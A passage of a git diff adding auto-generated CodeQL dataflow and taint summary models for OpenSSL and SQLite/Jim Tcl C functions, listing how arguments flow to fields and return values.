"dfc-generated"] + - ["", "", True, "tls_process_client_certificate", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_process_client_hello", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_process_client_key_exchange", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_process_client_rpk", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_process_key_exchange", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_process_new_session_ticket", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_process_next_proto", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_process_rpk", "(SSL_CONNECTION *,PACKET *,EVP_PKEY **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_process_server_certificate", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_process_server_hello", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_process_server_rpk", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_read_record", "(OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "tls_read_record", "(OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *)", "", "Argument[*0]", "Argument[**4]", "taint", "df-generated"] + - ["", "", True, "tls_read_record", "(OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_read_record", "(OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "tls_read_record", "(OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "tls_read_record", "(OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "tls_read_record", "(OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *)", "", "Argument[*0]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "tls_read_record", "(OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *)", "", "Argument[*0]", "Argument[*6]", "taint", "df-generated"] + - ["", "", True, "tls_read_record", "(OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *)", "", "Argument[*0]", "Argument[*7]", "taint", "df-generated"] + - ["", "", True, "tls_set1_bio", "(OSSL_RECORD_LAYER *,BIO *)", "", "Argument[1]", "Argument[*0].Field[*bio]", "value", "dfc-generated"] + - ["", "", True, "tls_set_first_handshake", "(OSSL_RECORD_LAYER *,int)", "", "Argument[1]", "Argument[*0].Field[*is_first_handshake]", "value", "dfc-generated"] + - ["", "", True, "tls_set_max_frag_len", "(OSSL_RECORD_LAYER *,size_t)", "", "Argument[1]", "Argument[*0].Field[*max_frag_len]", "value", "dfc-generated"] + - ["", "", True, "tls_set_max_pipelines", "(OSSL_RECORD_LAYER *,size_t)", "", "Argument[1]", "Argument[*0].Field[*max_pipelines]", "value", "dfc-generated"] + - ["", "", True, "tls_set_options", "(OSSL_RECORD_LAYER *,const OSSL_PARAM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_set_plain_alerts", "(OSSL_RECORD_LAYER *,int)", "", "Argument[1]", "Argument[*0].Field[*allow_plain_alerts]", "value", "dfc-generated"] + - ["", "", True, "tls_setup_write_buffer", "(OSSL_RECORD_LAYER *,size_t,size_t,size_t)", "", "Argument[1]", "Argument[*0].Field[*numwpipes]", "value", "dfc-generated"] + - ["", "", True, "tls_unprocessed_read_pending", "(OSSL_RECORD_LAYER *)", "", "Argument[*0].Field[*rbuf].Field[*left]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "tls_write_records_default", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t)", "", "Argument[*1].Field[*buflen]", "Argument[*0].Field[**compctx].Field[*compress_in]", "taint", "dfc-generated"] + - ["", "", True, "tls_write_records_multiblock", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t)", "", "Argument[*1].Field[*buflen]", "Argument[*0].Field[**compctx].Field[*compress_in]", "taint", "dfc-generated"] + - ["", "", True, "tls_write_records_multiblock", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t)", "", "Argument[2]", "Argument[*0].Field[*sequence]", "taint", "dfc-generated"] + - ["", "", True, "ts_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ts_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "unpack_revinfo", "(ASN1_TIME **,int *,ASN1_OBJECT **,ASN1_GENERALIZEDTIME **,const char *)", "", "Argument[*4]", "Argument[**0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "unpack_revinfo", "(ASN1_TIME **,int *,ASN1_OBJECT **,ASN1_GENERALIZEDTIME **,const char *)", "", "Argument[*4]", "Argument[**3].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "unpack_revinfo", "(ASN1_TIME **,int *,ASN1_OBJECT **,ASN1_GENERALIZEDTIME **,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "unpack_revinfo", "(ASN1_TIME **,int *,ASN1_OBJECT **,ASN1_GENERALIZEDTIME **,const char *)", "", "Argument[4]", "Argument[**0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "unpack_revinfo", "(ASN1_TIME **,int *,ASN1_OBJECT **,ASN1_GENERALIZEDTIME **,const char *)", "", "Argument[4]", "Argument[**3].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "v2i_ASN1_BIT_STRING", "(X509V3_EXT_METHOD *,X509V3_CTX *,stack_st_CONF_VALUE *)", "", "Argument[*0].Field[**usr_data].Field[*bitnum]", "ReturnValue[*].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "v2i_ASN1_BIT_STRING", "(X509V3_EXT_METHOD *,X509V3_CTX *,stack_st_CONF_VALUE *)", "", "Argument[*0].Field[**usr_data].Field[*bitnum]", "ReturnValue[*].Field[*length]", "taint", "dfc-generated"] + - ["", "", True, "v2i_GENERAL_NAMES", "(const X509V3_EXT_METHOD *,X509V3_CTX *,stack_st_CONF_VALUE *)", "", "Argument[*2].Field[*num]", "ReturnValue[*].Field[*num_alloc]", "taint", "dfc-generated"] + - ["", "", True, "v2i_GENERAL_NAME_ex", "(GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,CONF_VALUE *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "v2i_GENERAL_NAME_ex", "(GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,CONF_VALUE *,int)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "v2i_GENERAL_NAME_ex", "(GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,CONF_VALUE *,int)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "verify_callback", "(int,X509_STORE_CTX *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "verify_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "verify_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "version_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "version_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "x509_ctrl_string", "(X509 *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**distinguishing_id].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "x509_ctrl_string", "(X509 *,const char *)", "", "Argument[1]", "Argument[*0].Field[**distinguishing_id].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "x509_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "x509_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "x509_req_ctrl_string", "(X509_REQ *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**distinguishing_id].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "x509_req_ctrl_string", "(X509_REQ *,const char *)", "", "Argument[1]", "Argument[*0].Field[**distinguishing_id].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "x509v3_add_len_value_uchar", "(const char *,const unsigned char *,size_t,stack_st_CONF_VALUE **)", "", "Argument[*0]", "Argument[**3].Field[***data].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "x509v3_add_len_value_uchar", "(const char *,const unsigned char *,size_t,stack_st_CONF_VALUE **)", "", "Argument[*0]", "Argument[**3].Field[**data].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "x509v3_add_len_value_uchar", "(const char *,const unsigned char *,size_t,stack_st_CONF_VALUE **)", "", "Argument[*1]", "Argument[**3].Field[***data].Field[**value]", "value", "dfc-generated"] + - ["", "", True, "x509v3_add_len_value_uchar", "(const char *,const unsigned char *,size_t,stack_st_CONF_VALUE **)", "", "Argument[*1]", "Argument[**3].Field[**data].Field[**value]", "value", "dfc-generated"] + - ["", "", True, "x509v3_add_len_value_uchar", "(const char *,const unsigned char *,size_t,stack_st_CONF_VALUE **)", "", "Argument[0]", "Argument[**3].Field[***data].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "x509v3_add_len_value_uchar", "(const char *,const unsigned char *,size_t,stack_st_CONF_VALUE **)", "", "Argument[0]", "Argument[**3].Field[**data].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "x509v3_add_len_value_uchar", "(const char *,const unsigned char *,size_t,stack_st_CONF_VALUE **)", "", "Argument[1]", "Argument[**3].Field[***data].Field[**value]", "taint", "dfc-generated"] + - ["", "", True, "x509v3_add_len_value_uchar", "(const char *,const unsigned char *,size_t,stack_st_CONF_VALUE **)", "", "Argument[1]", "Argument[**3].Field[**data].Field[**value]", "taint", "dfc-generated"] + - ["", "", True, "x509v3_add_len_value_uchar", "(const char *,const unsigned char *,size_t,stack_st_CONF_VALUE **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] diff --git a/cpp/ql/lib/ext/generated/sqlite/sqlite.model.yml b/cpp/ql/lib/ext/generated/sqlite/sqlite.model.yml new file mode 100644 index 000000000000..29251e3be966 --- /dev/null +++ b/cpp/ql/lib/ext/generated/sqlite/sqlite.model.yml @@ -0,0 +1,948 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/cpp-all + extensible: summaryModel + data: + - ["", "", True, "Action_add", "(action **,e_action,symbol *,char *)", "", "Argument[**0]", "Argument[**0].Field[**next]", "value", "dfc-generated"] + - ["", "", True, "Action_add", "(action **,e_action,symbol *,char *)", "", "Argument[*0]", "Argument[**0].Field[*next]", "value", "dfc-generated"] + - ["", "", True, "Action_add", "(action **,e_action,symbol *,char *)", "", "Argument[0]", "Argument[**0].Field[*next]", "taint", "dfc-generated"] + - ["", "", True, "Action_add", "(action **,e_action,symbol *,char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "Configcmp", "(const char *,const char *)", "", "Argument[*0].Field[**rp].Field[*index]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "Configcmp", "(const char *,const char *)", "", "Argument[*0].Field[*dot]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "Configcmp", "(const char *,const char *)", "", "Argument[*1].Field[**rp].Field[*index]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "Configcmp", "(const char *,const char *)", "", "Argument[*1].Field[*dot]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "Configlist_add", "(rule *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**rp]", "value", "dfc-generated"] + - ["", "", True, "Configlist_add", "(rule *,int)", "", "Argument[0]", "ReturnValue[*].Field[*rp]", "value", "dfc-generated"] + - ["", "", True, "Configlist_add", "(rule *,int)", "", "Argument[1]", "ReturnValue[*].Field[*dot]", "value", "dfc-generated"] + - ["", "", True, "Configlist_addbasis", "(rule *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**rp]", "value", "dfc-generated"] + - ["", "", True, "Configlist_addbasis", "(rule *,int)", "", "Argument[0]", "ReturnValue[*].Field[*rp]", "value", "dfc-generated"] + - ["", "", True, "Configlist_addbasis", "(rule *,int)", "", "Argument[1]", "ReturnValue[*].Field[*dot]", "value", "dfc-generated"] + - ["", "", True, "JimDefaultAllocator", "(void *,size_t)", "", "Argument[**0]", "ReturnValue[**]", "value", "dfc-generated"] + - ["", "", True, "JimDefaultAllocator", "(void *,size_t)", "", "Argument[*0]", "ReturnValue[**]", "value", "dfc-generated"] + - ["", "", True, "JimDefaultAllocator", "(void *,size_t)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "JimDefaultAllocator", "(void *,size_t)", "", "Argument[0]", "ReturnValue[**]", "taint", "dfc-generated"] + - ["", "", True, "JimDefaultAllocator", "(void *,size_t)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "JimStringReplaceObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,Jim_Obj *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "JimStringReplaceObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,Jim_Obj *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "Jim_AioFilehandle", "(Jim_Interp *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[*prevObjPtr]", "value", "dfc-generated"] + - ["", "", True, "Jim_AioFilehandle", "(Jim_Interp *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[*freeList]", "value", "dfc-generated"] + - ["", "", True, "Jim_AppendObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_AppendString", "(Jim_Interp *,Jim_Obj *,const char *,int)", "", "Argument[*2]", "Argument[*1].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_AppendString", "(Jim_Interp *,Jim_Obj *,const char *,int)", "", "Argument[2]", "Argument[*1].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_AppendString", "(Jim_Interp *,Jim_Obj *,const char *,int)", "", "Argument[3]", "Argument[*1].Field[*length]", "taint", "dfc-generated"] + - ["", "", True, "Jim_CallSubCmd", "(Jim_Interp *,const jim_subcmd_type *,int,Jim_Obj *const *)", "", "Argument[*3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "Jim_CheckShowCommands", "(Jim_Interp *,Jim_Obj *,const char *const *)", "", "Argument[**2]", "Argument[*0].Field[**freeList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_CheckShowCommands", "(Jim_Interp *,Jim_Obj *,const char *const *)", "", "Argument[**2]", "Argument[*0].Field[**liveList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_CheckShowCommands", "(Jim_Interp *,Jim_Obj *,const char *const *)", "", "Argument[*2]", "Argument[**2]", "value", "dfc-generated"] + - ["", "", True, "Jim_CheckShowCommands", "(Jim_Interp *,Jim_Obj *,const char *const *)", "", "Argument[*2]", "Argument[*0].Field[**freeList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_CheckShowCommands", "(Jim_Interp *,Jim_Obj *,const char *const *)", "", "Argument[*2]", "Argument[*0].Field[**liveList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_CheckShowCommands", "(Jim_Interp *,Jim_Obj *,const char *const *)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "Jim_CheckShowCommands", "(Jim_Interp *,Jim_Obj *,const char *const *)", "", "Argument[2]", "Argument[*0].Field[**freeList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_CheckShowCommands", "(Jim_Interp *,Jim_Obj *,const char *const *)", "", "Argument[2]", "Argument[*0].Field[**liveList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[*1]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[*1]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[*2]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[*3]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[*3]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[1]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[1]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[2]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[2]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[3]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[3]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "Jim_CompareStringImmediate", "(Jim_Interp *,Jim_Obj *,const char *)", "", "Argument[*2]", "Argument[*1].Field[*internalRep].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "Jim_CompareStringImmediate", "(Jim_Interp *,Jim_Obj *,const char *)", "", "Argument[2]", "Argument[*1].Field[*internalRep].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "Jim_ConcatObj", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[**2].Field[*length]", "ReturnValue[*].Field[*length]", "taint", "dfc-generated"] + - ["", "", True, "Jim_ConcatObj", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "Jim_ConcatObj", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[1]", "ReturnValue[*].Field[*length]", "taint", "dfc-generated"] + - ["", "", True, "Jim_CreateCommand", "(Jim_Interp *,const char *,Jim_CmdProc *,void *,Jim_DelCmdProc *)", "", "Argument[*1]", "Argument[*0].Field[**freeList].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_CreateCommand", "(Jim_Interp *,const char *,Jim_CmdProc *,void *,Jim_DelCmdProc *)", "", "Argument[*1]", "Argument[*0].Field[**liveList].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_CreateCommand", "(Jim_Interp *,const char *,Jim_CmdProc *,void *,Jim_DelCmdProc *)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_CreateCommand", "(Jim_Interp *,const char *,Jim_CmdProc *,void *,Jim_DelCmdProc *)", "", "Argument[1]", "Argument[*0].Field[**liveList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_CreateCommandObj", "(Jim_Interp *,Jim_Obj *,Jim_CmdProc *,void *,Jim_DelCmdProc *)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[*prevObjPtr]", "value", "dfc-generated"] + - ["", "", True, "Jim_CreateCommandObj", "(Jim_Interp *,Jim_Obj *,Jim_CmdProc *,void *,Jim_DelCmdProc *)", "", "Argument[1]", "Argument[*0].Field[*freeList]", "value", "dfc-generated"] + - ["", "", True, "Jim_DeleteCommand", "(Jim_Interp *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[*prevObjPtr]", "value", "dfc-generated"] + - ["", "", True, "Jim_DeleteCommand", "(Jim_Interp *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[*freeList]", "value", "dfc-generated"] + - ["", "", True, "Jim_DictAddElement", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_DictAddElement", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_DictInfo", "(Jim_Interp *,Jim_Obj *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_DictKey", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj **,int)", "", "Argument[*0]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "Jim_DictKey", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj **,int)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_DictKey", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj **,int)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "Jim_DictKey", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj **,int)", "", "Argument[*2]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "Jim_DictKeysVector", "(Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj **,int)", "", "Argument[*1]", "Argument[**4]", "value", "dfc-generated"] + - ["", "", True, "Jim_DictKeysVector", "(Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj **,int)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "Jim_DictKeysVector", "(Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj **,int)", "", "Argument[1]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "Jim_DictMatchTypes", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,int,int)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_DictMerge", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "Jim_DictPairs", "(Jim_Interp *,Jim_Obj *,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "Jim_DictSize", "(Jim_Interp *,Jim_Obj *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_DuplicateObj", "(Jim_Interp *,Jim_Obj *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_DuplicateObj", "(Jim_Interp *,Jim_Obj *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_DuplicateObj", "(Jim_Interp *,Jim_Obj *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_Eval", "(Jim_Interp *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_Eval", "(Jim_Interp *,const char *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_Eval", "(Jim_Interp *,const char *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalExpression", "(Jim_Interp *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[*prevObjPtr]", "value", "dfc-generated"] + - ["", "", True, "Jim_EvalExpression", "(Jim_Interp *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[*freeList]", "value", "dfc-generated"] + - ["", "", True, "Jim_EvalFile", "(Jim_Interp *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**currentFilenameObj].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_EvalFile", "(Jim_Interp *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**freeList].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_EvalFile", "(Jim_Interp *,const char *)", "", "Argument[1]", "Argument[*0].Field[**currentFilenameObj].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_EvalFile", "(Jim_Interp *,const char *)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_EvalFileGlobal", "(Jim_Interp *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**currentFilenameObj].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_EvalFileGlobal", "(Jim_Interp *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**freeList].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_EvalFileGlobal", "(Jim_Interp *,const char *)", "", 